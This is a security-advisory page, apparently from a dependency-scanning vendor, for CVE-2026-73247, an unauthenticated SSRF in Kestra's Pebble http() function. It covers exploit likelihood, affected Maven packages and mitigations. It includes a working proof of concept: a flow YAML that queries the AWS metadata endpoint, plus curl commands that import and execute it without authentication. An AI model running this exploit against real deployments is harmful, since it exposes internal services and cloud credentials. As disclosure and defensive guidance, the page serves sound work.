NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
☕
☕ Maven
Not in CISA KEV
HIGH severity

CVE-2026-73247 — core

HIGH

CVE-2026-73247 is a high-severity (CVSS 8.6) Server-Side Request Forgery (SSRF) vulnerability in io.kestra:core. A fix is available for io.kestra:core — see the affected versions and patch details below.

Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata

Also known asGHSA-r56g-q4p6-m3p6
Published
Updated
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed
Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-73247.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs35th percentile — riskier than 35% of all scored CVEsHighest risk
0.00%0.30%0.60%0.91%0.3%0.4%0.4%0.4%Sep 26Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected
☕io.kestra:core☕io.kestra:kestra-core

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.

Details

The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):

  1. No URL validation: User input is passed directly to URI.create() with no checks for private IPs, internal hosts, or restricted schemes
  2. No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1
  3. No scheme restriction: file://, gopher:// schemes are not blocked
  4. No authentication required: TenantValidationFilter.java only checks tenant == "main" — no authentication
  5. Unconditional registration: HttpFunction is registered without any feature flags in Extension.java:180

PoC

Prerequisites:

docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30

Step 1: Create malicious Flow YAML

cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
  - id: exfiltrate
    type: io.kestra.plugin.core.log.Log
    message: |
      {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML

Step 2: Import without authentication

curl -X POST http://localhost:8080/api/v1/main/flows/import \
  -F "fileUpload=@/tmp/ssrf_poc.yaml"

Step 3: Execute the flow

curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata

Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)

Impact

  • CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
  • CWE: CWE-918 (Server-Side Request Forgery)
  • Affected: All Kestra OSS versions (default deployment)
  • Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenio.kestra:coreall versionsNo fix
☕Mavenio.kestra:kestra-coreall versions2.0.0io.kestra:kestra-core:2.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.kestra:core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    A fix is available for CVE-2026-73247; check the affected-versions list above or the advisory for the patched release of io.kestra:core, then make sure no transitive dependency still pins the vulnerable range.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary The Pebble template engine's `http()` function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration. ### Details The root cause is in `core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java` (lines 77-106): 1. **No URL validation**: User inp
O3 Security · Impact-Aware SCA

Is CVE-2026-73247 in your dependencies?

Find it across Maven, including transitive dependencies.

CVE-2026-73247: core SSRF — Fixed in 2.0.0